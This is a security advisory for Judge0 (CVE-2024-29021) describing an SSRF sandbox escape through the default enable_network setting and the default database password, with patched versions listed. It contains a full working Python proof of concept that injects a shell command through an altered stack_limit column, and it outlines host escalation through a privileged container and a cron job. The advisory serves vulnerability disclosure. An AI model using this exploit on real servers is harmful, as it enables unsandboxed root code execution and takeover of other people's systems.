Skip to content

SSRF into Sandbox Escape through Unsafe Default Configuration

Critical
hermanzdosilovic published GHSA-q7vg-26pg-v5hr Apr 18, 2024

Package

judge0/judge0 (Docker Hub)

Affected versions

<= 1.13.0

Patched versions

>= 1.13.1

Description

Summary

The default configuration of Judge0 leaves the service vulnerable to a sandbox escape via Server Side Request Forgery (SSRF). This allows an attacker with sufficient access to the Judge0 API to obtain unsandboxed code execution as root on the target machine.

Details

Judge0 has a configuration option labelled enable_network which allows the sandboxed application to perform network requests. This includes communicating with Judge0's PostgreSQL database which is available inside the internal Docker network.

The exploit targets the following lines of code (found here):

    command = "isolate #{cgroups} \
    -s \
    -b #{box_id} \
    -M #{metadata_file} \
    #{submission.redirect_stderr_to_stdout ? "--stderr-to-stdout" : ""} \
    #{submission.enable_network ? "--share-net" : ""} \
    -t #{submission.cpu_time_limit} \
    -x #{submission.cpu_extra_time} \
    -w #{submission.wall_time_limit} \
    -k #{submission.stack_limit} \
    -p#{submission.max_processes_and_or_threads} \
    #{submission.enable_per_process_and_thread_time_limit ? (cgroups.present? ? "--no-cg-timing" : "") : "--cg-timing"} \
    #{submission.enable_per_process_and_thread_memory_limit ? "-m " : "--cg-mem="}#{submission.memory_limit} \
    -f #{submission.max_file_size} \
    -E HOME=/tmp \
    -E PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\" \
    -E LANG -E LANGUAGE -E LC_ALL -E JUDGE0_HOMEPAGE -E JUDGE0_SOURCE_CODE -E JUDGE0_MAINTAINER -E JUDGE0_VERSION \
    -d /etc:noexec \
    --run \
    -- /bin/bash run \
    < #{stdin_file} > #{stdout_file} 2> #{stderr_file} \
    "

    puts "[#{DateTime.now}] Running submission #{submission.token} (#{submission.id}):"
    puts command.gsub(/\s+/, " ")
    puts

    `#{command}`

This code is usually safe from command injection vulnerabilities as all variables injected into the shell command are either string literals or numerical values. However, by using the SSRF to connect to the database and change the datatype of relevant columns it is still possible to get command injection.

PoC

This PoC targets the default configuration of Judge0 to simulate an end user following the self hosted deployment procedure.

  1. Download Judge0:
    wget https://github.com/judge0/judge0/releases/download/v1.13.0/judge0-v1.13.0.zip
    unzip judge0-v1.13.0.zip
    cd judge0-v1.13.0
  2. Start Judge0 locally:
    docker compose down -v && docker compose up -d
  3. Execute the following python script to exploit the vulnerability:
    #!/usr/bin/env python3
    
    import requests
    
    # Address of Judge0 instance
    TARGET = "http://localhost:2358"
    # Command to run outside of the sandbox
    CMD = "echo sandbox escaped > /tmp/poc"
    # Password for PostgreSQL, the default configuration uses YourPasswordHere1234
    DB_PASSWORD = "YourPasswordHere1234"
    
    # SQL command to update the last submission to contain a command injection payload
    SQL = "ALTER TABLE submissions ALTER stack_limit TYPE text; UPDATE submissions SET stack_limit='$({})' WHERE id=(SELECT MAX(id) FROM submissions);".format(
        CMD
    )
    
    # Submitted source code to SSRF into PostgreSQL
    CODE = """import socket
    import struct
    import hashlib
    import time
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    s.connect(("db", 5432))
    
    
    class SMsg:
        def __init__(self, type):
            self.header = type.encode() if type is not None else b""
            self.data = b""
    
        def write_int(self, n):
            self.data += struct.pack(">I", n)
    
        def write(self, d):
            self.data += d
    
        def write_str(self, s):
            self.data += s.encode() + b"\\x00"
    
        def send(self):
            s.sendall(self.header + struct.pack(">I", len(self.data) + 4) + self.data)
    
    
    class RMsg:
        def __init__(self, type, data):
            self.type = type
            self.data = data
    
        def get_int(self):
            strt = self.data[:4]
            self.data = self.data[4:]
            return struct.unpack(">I", strt)[0]
    
        def get(self, n):
            strt = self.data[:n]
            self.data = self.data[n:]
            assert len(strt) == n
            return strt
    
        @staticmethod
        def read():
            mtype = s.recv(1)[0]
            mlen = struct.unpack(">I", s.recv(4))[0]
            return RMsg(mtype, s.recv(mlen))
    
    
    def md5(x):
        return hashlib.md5(x).hexdigest()
    
    
    m = SMsg(None)
    m.write_int(196608)
    m.write_str("user")
    m.write_str("judge0")
    m.write_str("database")
    m.write_str("judge0")
    m.write(b"\\x00")
    m.send()
    
    resp = RMsg.read()
    assert resp.type == ord("R")
    assert resp.get_int() == 5  # md5 encryption
    salt = resp.get(4)
    assert resp.data == b""
    
    m = SMsg("p")
    m.write_str("md5" + md5(md5(b"{}" + b"judge0").encode() + salt))
    m.send()
    
    print(s.recv(1024))
    
    m = SMsg("Q")
    m.write_str("{}")
    m.send()
    
    print(s.recv(1024))""".format(
        DB_PASSWORD,
        SQL
    )
    
    
    def submit(src):
        return requests.post(
            TARGET + "/submissions",
            json={"source_code": src, "language_id": 71, "enable_network": True},
        ).json()
    
    
    # This number may need to be increased if there are more workers/workers are faster
    NUM_PADDING = 20
    
    for i in range(NUM_PADDING):
        submit("print('test')")
    submit(CODE)
    for i in range(NUM_PADDING):
        submit("print('test')")
  4. Wait for the jobs to finish executing (usually takes less than 60 seconds)
  5. Verify that the command has been executed. If the exploit is successful, you should see the output poc indicating that the file poc was created.
    docker compose exec server ls /tmp && docker compose exec workers ls /tmp
    

Impact

An attacker can use this vulnerability to gain unsandboxed code execution on the Docker container running the submission job.

This vulnerability is not as severe as CVE-2024-28185 as it relies on the following circumstances:

  • The enable network flag must be allowed. This requires ALLOW_ENABLE_NETWORK to be either true or empty in judge0.conf.
  • POSTGRES_PASSWORD must be default, or bruteforcable. judge0.conf indicates that the password must be changed, however many users following the setup guide may not be aware of this field in the configuration.

An attacker successfully exploiting this vulnerability may then escalate their privileges outside of the Docker container due to the Docker container being run using the privileged. This will allow the attacker to mount the Linux host filesystem and the attacker can then write files (for example a malicious cron job) to gain access to the host system.

From this point the attacker will have complete access to the Judge0 host system including the database, internal networks, the Judge0 webserver, and any other applications running on the Linux host.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2024-29021

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Use of Default Password

The product uses default passwords for potentially critical functionality. Learn more on MITRE.

Credits